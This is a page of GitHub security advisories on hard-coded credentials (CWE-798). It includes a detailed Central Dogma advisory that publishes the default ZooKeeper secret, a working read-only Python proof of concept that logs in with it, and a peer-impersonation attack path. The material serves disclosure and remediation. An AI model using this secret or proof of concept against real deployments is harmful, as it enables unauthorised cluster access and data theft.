CWE-798
Allowed-with-ReviewUse of Hard-coded Credentials
Abstraction: Base · Status: Draft
The product contains hard-coded credentials, such as a password or cryptographic key.
2346 vulnerabilities reference this CWE, most recent first.
GHSA-2HH3-6MR4-7GQQ
Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06An issue was discovered in CommScope Ruckus IoT Controller 1.7.1.0 and earlier. There are Hard-coded System Passwords that provide shell access.
{
"affected": [],
"aliases": [
"CVE-2021-33218"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-07T15:15:00Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in CommScope Ruckus IoT Controller 1.7.1.0 and earlier. There are Hard-coded System Passwords that provide shell access.",
"id": "GHSA-2hh3-6mr4-7gqq",
"modified": "2022-05-24T19:06:59Z",
"published": "2022-05-24T19:06:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33218"
},
{
"type": "WEB",
"url": "https://korelogic.com/advisories.html"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2021/May/74"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2HH7-5899-HFPG
Vulnerability from github – Published: 2025-09-05 18:31 – Updated: 2025-09-05 18:31ECOVACS robot vacuums and base stations communicate via an insecure Wi-Fi network with a deterministic WPA2-PSK, which can be easily derived.
{
"affected": [],
"aliases": [
"CVE-2025-30198"
],
"database_specific": {
"cwe_ids": [
"CWE-321",
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-05T18:15:39Z",
"severity": "LOW"
},
"details": "ECOVACS robot vacuums and base stations communicate via an insecure Wi-Fi network with a deterministic WPA2-PSK, which can be easily derived.",
"id": "GHSA-2hh7-5899-hfpg",
"modified": "2025-09-05T18:31:25Z",
"published": "2025-09-05T18:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30198"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-135-19.json"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-135-19"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-30198"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2J93-2WMQ-74FV
Vulnerability from github – Published: 2025-01-25 00:33 – Updated: 2025-02-07 03:32SunGrow WiNet-SV200.001.00.P027 and earlier versions contains a hardcoded password that can be used to decrypt all firmware updates.
{
"affected": [],
"aliases": [
"CVE-2024-50690"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-24T23:15:08Z",
"severity": "MODERATE"
},
"details": "SunGrow WiNet-SV200.001.00.P027 and earlier versions contains a hardcoded password that can be used to decrypt all firmware updates.",
"id": "GHSA-2j93-2wmq-74fv",
"modified": "2025-02-07T03:32:01Z",
"published": "2025-01-25T00:33:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50690"
},
{
"type": "WEB",
"url": "https://en.sungrowpower.com/security-notice-detail-2/5961"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2J95-GQXF-V3VG
Vulnerability from github – Published: 2026-09-11 20:44 – Updated: 2026-09-11 20:44Vulnerability
ZooKeeperReplicationConfig.secret() silently substitutes the hard-coded constant "ch4n63m3" (leetspeak for "change me") whenever the operator omits replication.secret. The same secret is wired into both the client-facing SASL context and the quorum/learner SASL contexts of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds.
Three Reinforcing Defects
- OSS-public credential —
DEFAULT_SECRETis inline/centraldogmasource. - Silent fallback —
firstNonNull(convertValue(...), DEFAULT_SECRET)substitutes the default with no log, no warning, no startup banner. The only sanity checkcheckArgument(!secret().isEmpty(), ...)passes because the getter substitutes the literal before the emptiness check runs. - Dual-purpose secret — used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces.
Architecture Context (Important)
Central Dogma does NOT connect to an external ZooKeeper ensemble. Each replica embeds a QuorumPeer (EmbeddedZooKeeper extends QuorumPeer) inside its own JVM. The Central Dogma cluster IS the ZK ensemble. So the "ZK network" is the inter-replica network of the Central Dogma cluster itself.
Applicability
replication.method |
ZK Started? | Applicable? |
|---|---|---|
NONE (standalone, dev default) |
No | NOT applicable |
ZOOKEEPER (HA production) |
Yes, embedded on every replica | Fully applicable — canonical production configuration |
Evidence
File: server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java
Branch: main @ commit d64a5151
Line 53 — the constant:
private static final String DEFAULT_SECRET = "ch4n63m3";
Lines 210–215 — the silent fallback:
/**
* Returns the secret string used for authenticating the ZooKeeper peers.
*/
public String secret() {
return firstNonNull(convertValue(secret, "replication.secret"), DEFAULT_SECRET);
}
File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java
Lines 586–607 — JAAS wiring (same secret on both surfaces):
final String escapedSecret = jaasValueEscaper.escape(cfg.secret());
ImmutableList.of("Server", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -> {
buf.append(name).append(" {").append(newline);
buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
buf.append("user_super=\"").append(escapedSecret).append("\";").append(newline);
buf.append("};").append(newline);
});
ImmutableList.of("Client", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -> {
buf.append(name).append(" {").append(newline);
buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
buf.append("username=\"super\"").append(newline);
buf.append("password=\"").append(escapedSecret).append("\";").append(newline);
buf.append("};").append(newline);
});
File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java
Line 44 — proves CD embeds the ZK server:
final class EmbeddedZooKeeper extends QuorumPeer {
Lines 213–220 — client port binding (loopback only):
private static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException {
final InetSocketAddress bindAddr = zkCfg.getClientPortAddress();
final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory();
// Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others.
cnxnFactory.configure(new InetSocketAddress("127.0.0.1", bindAddr != null ? bindAddr.getPort() : 0),
zkCfg.getMaxClientCnxns());
return cnxnFactory;
}
Quorum/election ports are NOT loopback-bound — they bind to
replication.servers[].hostas configured, exposed on the inter-replica network.
PoC
Two attack surfaces, two scenarios. Surface A (client port, same-host) is implemented as a working read-only PoC. Surface B (quorum-port peer impersonation) is documented but intentionally not weaponized.
Surface A — Same-Host Client Port (Loopback) PoC
Python + kazoo + pure-sasl. Authenticates as super over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to 127.0.0.1, read-only, prints first 5 entries.
#!/usr/bin/env python3
"""
C3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only).
Demonstrates that a Central Dogma instance launched with a
ZooKeeper-replicated configuration but without `replication.secret` set
exposes its embedded ZooKeeper to anyone with local-host access, using
the well-known credential `super / ch4n63m3`.
SAFETY:
* Hardcoded to 127.0.0.1. Refuses any other target.
* Read-only. No writes are issued. No nodes are deleted.
* Limits how much data it prints (first MAX_LOGS entries).
"""
from __future__ import annotations
import sys
from kazoo.client import KazooClient
from kazoo.exceptions import NoNodeError
HOST = "127.0.0.1"
DEFAULT_PORT = 2381
DEFAULT_USER = "super"
DEFAULT_SECRET = "ch4n63m3" # ZooKeeperReplicationConfig.DEFAULT_SECRET
MAX_LOGS = 5
def main() -> int:
port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_PORT
if HOST != "127.0.0.1":
print("Refusing to run against non-loopback host.", file=sys.stderr)
return 2
zk = KazooClient(
hosts=f"{HOST}:{port}",
sasl_options={
"mechanism": "DIGEST-MD5",
"username": DEFAULT_USER,
"password": DEFAULT_SECRET,
},
read_only=True,
timeout=5.0,
)
try:
zk.start(timeout=5)
except Exception as exc:
print(f"[!] Could not reach {HOST}:{port} -- {exc}", file=sys.stderr)
return 1
try:
try:
log_children = zk.get_children("/dogma/logs")
except NoNodeError:
print("[i] /dogma/logs not present -- is replication actually enabled?")
log_children = []
print(f"[+] Authenticated as '{DEFAULT_USER}' with default secret.")
print(f"[+] /dogma/logs has {len(log_children)} entries.")
for child in sorted(log_children)[:MAX_LOGS]:
path = f"/dogma/logs/{child}"
try:
data, stat = zk.get(path)
except NoNodeError:
continue
preview = data[:120].decode("utf-8", errors="replace") if data else ""
print(f" - {path} ({stat.dataLength} bytes) preview={preview!r}")
try:
block_children = zk.get_children("/dogma/log_blocks")
print(f"[+] /dogma/log_blocks has {len(block_children)} entries.")
except NoNodeError:
pass
print(
f"[!] ZK cluster compromised: read {len(log_children)} log entries "
"with default credentials."
)
return 0
finally:
zk.stop()
zk.close()
if __name__ == "__main__":
raise SystemExit(main())
Dependencies (requirements.txt): kazoo, pure-sasl
Setup: edit dist/src/conf/dogma.json to enable replication WITHOUT setting secret:
{
"replication": {
"method": "ZOOKEEPER",
"serverId": 1,
"servers": {
"1": { "host": "127.0.0.1", "quorumPort": 2382, "electionPort": 2383, "clientPort": 2381 }
}
}
}
Note:
replication.secretis INTENTIONALLY omitted. Launch with./gradlew :dist:startup.
Run:
python3 zk_takeover.py 2381
Expected output (VULNERABLE):
[+] Authenticated as 'super' with default secret.
[+] /dogma/logs has 14 entries.
- /dogma/logs/0000000001 (412 bytes) preview="{"size":..."
- /dogma/logs/0000000002 (508 bytes) preview="{"size":..."
...
[+] /dogma/log_blocks has 14 entries.
[!] ZK cluster compromised: read 14 log entries with default credentials.
After the patch (fail-closed on null/placeholder secret), Central Dogma refuses to start at all with this config.
Surface B — Inter-Replica Quorum-Port Peer Impersonation (Documented, Not Weaponized)
Quorum/election ports bind to the configured replication.servers[].host, NOT to loopback. In typical HA deployments (multi-DC, K8s with NetworkPolicy gaps, shared VPC), these ports are reachable from peer workloads.
Attack path:
- Attacker reaches the quorum port of any Central Dogma replica from a co-located workload (same K8s namespace, same VLAN, etc.).
- Attacker spins up their own Apache ZooKeeper process configured with:
- matching
serverId(or a new one if theQuorumVerifierallows dynamic membership) - JAAS
QuorumLearner/QuorumServerdigest contexts usingsuper / ch4n63m3 quorumServerSaslAuthRequired=true,quorumLearnerSaslAuthRequired=true- Attacker's process joins the quorum as a learner. SASL handshake passes because the secret matches.
- Attacker now receives every replicated
Command, can attempt to win leader election, and once in the cluster can write to/dogma/logs/directly — whichZooKeeperCommandExecutor.replayLogs()will deserialize and execute on every legitimate replica.
Dangerous Commands the attacker can replay across the cluster (from Command.java:46-68):
| Command | Impact |
|---|---|
PURGE_PROJECT |
Permanent deletion |
ROTATE_SESSION_MASTER_KEY / REWRAP_ALL_KEYS |
Pivot encryption-at-rest layer to attacker-controlled keys |
UPDATE_SERVER_STATUS (read-only / maintenance) |
Denial of Service |
CREATE_SESSION with crafted user info |
Session forgery |
This PoC is intentionally NOT shipped as runnable code. It is closer to an attack tool than a verification artifact, and the audit's purpose is to drive the fix, not to provide weaponization. The Surface A PoC plus this documentation are sufficient to motivate remediation.
Impact
Threat Model (Realistic for LINE Corporate Deployment)
- Multi-tenant K8s where Central Dogma StatefulSet shares Pod network with other workloads
- Or shared VPC/VLAN where the inter-replica quorum traffic is reachable from co-tenant hosts
- Or single-tenant cluster where any sidecar/co-located process has loopback access (Surface A)
What an Attacker Gains with the Leaked Secret
-
Read the full replication log.
/dogma/logs+/dogma/log_blockscontain the Zstd-compressedReplicationLogentries — every commit, everyPUSHpayload (with file contents), every credential mutation, every session/master-key management command. IncludesCREATE_SESSION_MASTER_KEY,ROTATE_SESSION_MASTER_KEY,REWRAP_ALL_KEYS. Reading this effectively renders the encryption-at-rest layer moot because the master-key management commands themselves traverse ZK. -
Write to the replication log (Surface B). Forged
LogMeta+log_blocksentries are auto-replayed byZooKeeperCommandExecutor.replayLogs()on every replica. The attacker gains arbitrary Command execution on the entire cluster. -
Join the quorum as a fake peer (Surface B). With the secret, an attacker reachable on the inter-replica network can pose as a legitimate replica, receive all future commits in real time, and potentially win leadership.
Scope is Changed (CVSS) because ZK is a separate security authority from Central Dogma's HTTP API, and the impact propagates to every microservice consuming Central Dogma configuration via watch.
Incident recovery cost: secret rotation alone is insufficient. Every Command that traversed ZK during the compromise window must be audited. If master-key rotation commands were issued, all encryption-at-rest data must be re-encrypted. This is an extremely high-blast-radius failure mode for a single missing config knob.
Historical analogue: this is the same anti-pattern that caused Mirai (2016, IoT default credentials), pre-2018 unauthenticated Hadoop YARN clusters, and the recurring ZK / Elasticsearch / MongoDB internet-exposed-without-auth incidents 2018–2024.
How to Fix
Remove the default constant. Fail closed when replication.secret is missing or matches the legacy placeholder.
// ZooKeeperReplicationConfig.java
// REMOVE: private static final String DEFAULT_SECRET = "ch4n63m3";
@JsonCreator
ZooKeeperReplicationConfig(/* ...unchanged params... */
@JsonProperty("secret") @Nullable String secret,
/* ... */) {
// ...
final String resolved = convertValue(secret, "replication.secret");
checkArgument(resolved != null && !resolved.isEmpty(),
"'replication.secret' must be set (and non-empty) when " +
"ZooKeeper replication is enabled. There is no default; " +
"generate a long random string and configure it on every " +
"replica.");
// Reject the historical placeholder explicitly so existing config files
// copy-pasted from old tutorials fail loudly instead of silently.
checkArgument(!"ch4n63m3".equals(resolved),
"'replication.secret' is set to the legacy placeholder " +
"value. Replace it with a fresh random secret " +
"(`openssl rand -hex 32`).");
// Optional: enforce minimum length (32 chars) and reject obvious placeholders.
checkArgument(resolved.length() >= 32,
"'replication.secret' must be at least 32 characters. " +
"Use `openssl rand -hex 32` to generate one.");
this.secret = resolved;
}
public String secret() {
return secret; // never null at this point
}
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.linecorp.centraldogma:centraldogma-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.84.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-11746"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-11T20:44:23Z",
"nvd_published_at": "2026-06-22T03:16:42Z",
"severity": "CRITICAL"
},
"details": "## Vulnerability\n\n`ZooKeeperReplicationConfig.secret()` silently substitutes the hard-coded constant `\"ch4n63m3\"` (leetspeak for \"change me\") whenever the operator omits `replication.secret`. The same secret is wired into both the **client-facing SASL context** and the **quorum/learner SASL contexts** of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds.\n\n### Three Reinforcing Defects\n\n1. **OSS-public credential** \u2014 `DEFAULT_SECRET` is in `line/centraldogma` source.\n2. **Silent fallback** \u2014 `firstNonNull(convertValue(...), DEFAULT_SECRET)` substitutes the default with no log, no warning, no startup banner. The only sanity check `checkArgument(!secret().isEmpty(), ...)` passes because the getter substitutes the literal before the emptiness check runs.\n3. **Dual-purpose secret** \u2014 used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces.\n\n### Architecture Context (Important)\n\nCentral Dogma does **NOT** connect to an external ZooKeeper ensemble. Each replica embeds a `QuorumPeer` (`EmbeddedZooKeeper extends QuorumPeer`) inside its own JVM. The Central Dogma cluster **IS** the ZK ensemble. So the \"ZK network\" is the inter-replica network of the Central Dogma cluster itself.\n\n### Applicability\n\n| `replication.method` | ZK Started? | Applicable? |\n|---|---|---|\n| `NONE` (standalone, dev default) | No | **NOT applicable** |\n| `ZOOKEEPER` (HA production) | Yes, embedded on every replica | **Fully applicable** \u2014 canonical production configuration |\n\n---\n\n## Evidence\n\n**File:** `server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java`\n**Branch:** `main` @ commit `d64a5151`\n\n**Line 53** \u2014 the constant:\n\n```java\nprivate static final String DEFAULT_SECRET = \"ch4n63m3\";\n```\n\n**Lines 210\u2013215** \u2014 the silent fallback:\n\n```java\n/**\n * Returns the secret string used for authenticating the ZooKeeper peers.\n */\npublic String secret() {\n return firstNonNull(convertValue(secret, \"replication.secret\"), DEFAULT_SECRET);\n}\n```\n\n---\n\n**File:** `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java`\n**Lines 586\u2013607** \u2014 JAAS wiring (same secret on both surfaces):\n\n```java\nfinal String escapedSecret = jaasValueEscaper.escape(cfg.secret());\nImmutableList.of(\"Server\", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -\u003e {\n buf.append(name).append(\" {\").append(newline);\n buf.append(DigestLoginModule.class.getName()).append(\" required\").append(newline);\n buf.append(\"user_super=\\\"\").append(escapedSecret).append(\"\\\";\").append(newline);\n buf.append(\"};\").append(newline);\n});\nImmutableList.of(\"Client\", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -\u003e {\n buf.append(name).append(\" {\").append(newline);\n buf.append(DigestLoginModule.class.getName()).append(\" required\").append(newline);\n buf.append(\"username=\\\"super\\\"\").append(newline);\n buf.append(\"password=\\\"\").append(escapedSecret).append(\"\\\";\").append(newline);\n buf.append(\"};\").append(newline);\n});\n```\n\n---\n\n**File:** `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java`\n\n**Line 44** \u2014 proves CD embeds the ZK server:\n\n```java\nfinal class EmbeddedZooKeeper extends QuorumPeer {\n```\n\n**Lines 213\u2013220** \u2014 client port binding (loopback only):\n\n```java\nprivate static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException {\n final InetSocketAddress bindAddr = zkCfg.getClientPortAddress();\n final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory();\n // Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others.\n cnxnFactory.configure(new InetSocketAddress(\"127.0.0.1\", bindAddr != null ? bindAddr.getPort() : 0),\n zkCfg.getMaxClientCnxns());\n return cnxnFactory;\n}\n```\n\n\u003e Quorum/election ports are **NOT** loopback-bound \u2014 they bind to `replication.servers[].host` as configured, exposed on the inter-replica network.\n\n---\n\n## PoC\n\nTwo attack surfaces, two scenarios. **Surface A** (client port, same-host) is implemented as a working read-only PoC. **Surface B** (quorum-port peer impersonation) is documented but intentionally not weaponized.\n\n### Surface A \u2014 Same-Host Client Port (Loopback) PoC\n\nPython + kazoo + pure-sasl. Authenticates as `super` over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to `127.0.0.1`, read-only, prints first 5 entries.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nC3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only).\n\nDemonstrates that a Central Dogma instance launched with a\nZooKeeper-replicated configuration but without `replication.secret` set\nexposes its embedded ZooKeeper to anyone with local-host access, using\nthe well-known credential `super / ch4n63m3`.\n\nSAFETY:\n * Hardcoded to 127.0.0.1. Refuses any other target.\n * Read-only. No writes are issued. No nodes are deleted.\n * Limits how much data it prints (first MAX_LOGS entries).\n\"\"\"\nfrom __future__ import annotations\n\nimport sys\n\nfrom kazoo.client import KazooClient\nfrom kazoo.exceptions import NoNodeError\n\nHOST = \"127.0.0.1\"\nDEFAULT_PORT = 2381\nDEFAULT_USER = \"super\"\nDEFAULT_SECRET = \"ch4n63m3\" # ZooKeeperReplicationConfig.DEFAULT_SECRET\nMAX_LOGS = 5\n\n\ndef main() -\u003e int:\n port = int(sys.argv[1]) if len(sys.argv) \u003e 1 else DEFAULT_PORT\n if HOST != \"127.0.0.1\":\n print(\"Refusing to run against non-loopback host.\", file=sys.stderr)\n return 2\n\n zk = KazooClient(\n hosts=f\"{HOST}:{port}\",\n sasl_options={\n \"mechanism\": \"DIGEST-MD5\",\n \"username\": DEFAULT_USER,\n \"password\": DEFAULT_SECRET,\n },\n read_only=True,\n timeout=5.0,\n )\n try:\n zk.start(timeout=5)\n except Exception as exc:\n print(f\"[!] Could not reach {HOST}:{port} -- {exc}\", file=sys.stderr)\n return 1\n\n try:\n try:\n log_children = zk.get_children(\"/dogma/logs\")\n except NoNodeError:\n print(\"[i] /dogma/logs not present -- is replication actually enabled?\")\n log_children = []\n\n print(f\"[+] Authenticated as \u0027{DEFAULT_USER}\u0027 with default secret.\")\n print(f\"[+] /dogma/logs has {len(log_children)} entries.\")\n for child in sorted(log_children)[:MAX_LOGS]:\n path = f\"/dogma/logs/{child}\"\n try:\n data, stat = zk.get(path)\n except NoNodeError:\n continue\n preview = data[:120].decode(\"utf-8\", errors=\"replace\") if data else \"\"\n print(f\" - {path} ({stat.dataLength} bytes) preview={preview!r}\")\n\n try:\n block_children = zk.get_children(\"/dogma/log_blocks\")\n print(f\"[+] /dogma/log_blocks has {len(block_children)} entries.\")\n except NoNodeError:\n pass\n\n print(\n f\"[!] ZK cluster compromised: read {len(log_children)} log entries \"\n \"with default credentials.\"\n )\n return 0\n finally:\n zk.stop()\n zk.close()\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\n**Dependencies** (`requirements.txt`): `kazoo`, `pure-sasl`\n\n**Setup:** edit `dist/src/conf/dogma.json` to enable replication **WITHOUT** setting secret:\n\n```json\n{\n \"replication\": {\n \"method\": \"ZOOKEEPER\",\n \"serverId\": 1,\n \"servers\": {\n \"1\": { \"host\": \"127.0.0.1\", \"quorumPort\": 2382, \"electionPort\": 2383, \"clientPort\": 2381 }\n }\n }\n}\n```\n\n\u003e **Note:** `replication.secret` is **INTENTIONALLY** omitted. Launch with `./gradlew :dist:startup`.\n\n**Run:**\n\n```bash\npython3 zk_takeover.py 2381\n```\n\n**Expected output (VULNERABLE):**\n\n```\n[+] Authenticated as \u0027super\u0027 with default secret.\n[+] /dogma/logs has 14 entries.\n - /dogma/logs/0000000001 (412 bytes) preview=\"{\"size\":...\"\n - /dogma/logs/0000000002 (508 bytes) preview=\"{\"size\":...\"\n ...\n[+] /dogma/log_blocks has 14 entries.\n[!] ZK cluster compromised: read 14 log entries with default credentials.\n```\n\nAfter the patch (fail-closed on null/placeholder secret), Central Dogma **refuses to start at all** with this config.\n\n### Surface B \u2014 Inter-Replica Quorum-Port Peer Impersonation (Documented, Not Weaponized)\n\nQuorum/election ports bind to the configured `replication.servers[].host`, **NOT** to loopback. In typical HA deployments (multi-DC, K8s with NetworkPolicy gaps, shared VPC), these ports are reachable from peer workloads.\n\n**Attack path:**\n\n1. Attacker reaches the quorum port of any Central Dogma replica from a co-located workload (same K8s namespace, same VLAN, etc.).\n2. Attacker spins up their own Apache ZooKeeper process configured with:\n - matching `serverId` (or a new one if the `QuorumVerifier` allows dynamic membership)\n - JAAS `QuorumLearner` / `QuorumServer` digest contexts using `super / ch4n63m3`\n - `quorumServerSaslAuthRequired=true`, `quorumLearnerSaslAuthRequired=true`\n3. Attacker\u0027s process joins the quorum as a learner. SASL handshake passes because the secret matches.\n4. Attacker now receives every replicated `Command`, can attempt to win leader election, and once in the cluster can write to `/dogma/logs/` directly \u2014 which `ZooKeeperCommandExecutor.replayLogs()` will deserialize and execute on every legitimate replica.\n\n**Dangerous Commands the attacker can replay across the cluster** (from `Command.java:46-68`):\n\n| Command | Impact |\n|---|---|\n| `PURGE_PROJECT` | Permanent deletion |\n| `ROTATE_SESSION_MASTER_KEY` / `REWRAP_ALL_KEYS` | Pivot encryption-at-rest layer to attacker-controlled keys |\n| `UPDATE_SERVER_STATUS` (read-only / maintenance) | Denial of Service |\n| `CREATE_SESSION` with crafted user info | Session forgery |\n\n\u003e This PoC is **intentionally NOT shipped as runnable code**. It is closer to an attack tool than a verification artifact, and the audit\u0027s purpose is to drive the fix, not to provide weaponization. The Surface A PoC plus this documentation are sufficient to motivate remediation.\n\n---\n\n## Impact\n\n### Threat Model (Realistic for LINE Corporate Deployment)\n\n- Multi-tenant K8s where Central Dogma StatefulSet shares Pod network with other workloads\n- Or shared VPC/VLAN where the inter-replica quorum traffic is reachable from co-tenant hosts\n- Or single-tenant cluster where any sidecar/co-located process has loopback access (Surface A)\n\n### What an Attacker Gains with the Leaked Secret\n\n1. **Read the full replication log.** `/dogma/logs` + `/dogma/log_blocks` contain the Zstd-compressed `ReplicationLog` entries \u2014 every commit, every `PUSH` payload (with file contents), every credential mutation, every session/master-key management command. Includes `CREATE_SESSION_MASTER_KEY`, `ROTATE_SESSION_MASTER_KEY`, `REWRAP_ALL_KEYS`. Reading this effectively renders the encryption-at-rest layer moot because the master-key management commands themselves traverse ZK.\n\n2. **Write to the replication log (Surface B).** Forged `LogMeta` + `log_blocks` entries are auto-replayed by `ZooKeeperCommandExecutor.replayLogs()` on every replica. The attacker gains **arbitrary Command execution on the entire cluster**.\n\n3. **Join the quorum as a fake peer (Surface B).** With the secret, an attacker reachable on the inter-replica network can pose as a legitimate replica, receive all future commits in real time, and potentially win leadership.\n\n**Scope is Changed** (CVSS) because ZK is a separate security authority from Central Dogma\u0027s HTTP API, and the impact propagates to every microservice consuming Central Dogma configuration via watch.\n\n**Incident recovery cost:** secret rotation alone is insufficient. Every `Command` that traversed ZK during the compromise window must be audited. If master-key rotation commands were issued, all encryption-at-rest data must be re-encrypted. This is an **extremely high-blast-radius failure mode** for a single missing config knob.\n\n**Historical analogue:** this is the same anti-pattern that caused Mirai (2016, IoT default credentials), pre-2018 unauthenticated Hadoop YARN clusters, and the recurring ZK / Elasticsearch / MongoDB internet-exposed-without-auth incidents 2018\u20132024.\n\n---\n\n## How to Fix\n\n**Remove the default constant. Fail closed when `replication.secret` is missing or matches the legacy placeholder.**\n\n```java\n// ZooKeeperReplicationConfig.java\n// REMOVE: private static final String DEFAULT_SECRET = \"ch4n63m3\";\n\n@JsonCreator\nZooKeeperReplicationConfig(/* ...unchanged params... */\n @JsonProperty(\"secret\") @Nullable String secret,\n /* ... */) {\n // ...\n final String resolved = convertValue(secret, \"replication.secret\");\n checkArgument(resolved != null \u0026\u0026 !resolved.isEmpty(),\n \"\u0027replication.secret\u0027 must be set (and non-empty) when \" +\n \"ZooKeeper replication is enabled. There is no default; \" +\n \"generate a long random string and configure it on every \" +\n \"replica.\");\n // Reject the historical placeholder explicitly so existing config files\n // copy-pasted from old tutorials fail loudly instead of silently.\n checkArgument(!\"ch4n63m3\".equals(resolved),\n \"\u0027replication.secret\u0027 is set to the legacy placeholder \" +\n \"value. Replace it with a fresh random secret \" +\n \"(`openssl rand -hex 32`).\");\n // Optional: enforce minimum length (32 chars) and reject obvious placeholders.\n checkArgument(resolved.length() \u003e= 32,\n \"\u0027replication.secret\u0027 must be at least 32 characters. \" +\n \"Use `openssl rand -hex 32` to generate one.\");\n this.secret = resolved;\n}\n\npublic String secret() {\n return secret; // never null at this point\n}\n```",
"id": "GHSA-2j95-gqxf-v3vg",
"modified": "2026-09-11T20:44:23Z",
"published": "2026-09-11T20:44:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/line/centraldogma/security/advisories/GHSA-2j95-gqxf-v3vg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11746"
},
{
"type": "PACKAGE",
"url": "https://github.com/line/centraldogma"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Central Dogma: Hard-coded ZooKeeper replication secret \u0027ch4n63m3\u0027 with silent fallback enables cluster takeover"
}
GHSA-2J9P-6P28-5XHP
Vulnerability from github – Published: 2025-08-04 15:31 – Updated: 2025-08-04 18:30Austrian Archaeological Institute (AI) OpenAtlas v8.11.0 as discovered to contain a hardcoded Administrator password.
{
"affected": [],
"aliases": [
"CVE-2025-51536"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-04T15:15:32Z",
"severity": "CRITICAL"
},
"details": "Austrian Archaeological Institute (AI) OpenAtlas v8.11.0 as discovered to contain a hardcoded Administrator password.",
"id": "GHSA-2j9p-6p28-5xhp",
"modified": "2025-08-04T18:30:35Z",
"published": "2025-08-04T15:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51536"
},
{
"type": "WEB",
"url": "https://www.sec4you-pentest.com/schwachstelle/openatlas-standard-adminkonto-mit-hartcodiertem-passwort"
},
{
"type": "WEB",
"url": "https://www.sec4you-pentest.com/schwachstellen"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2JHJ-7G8H-J3H6
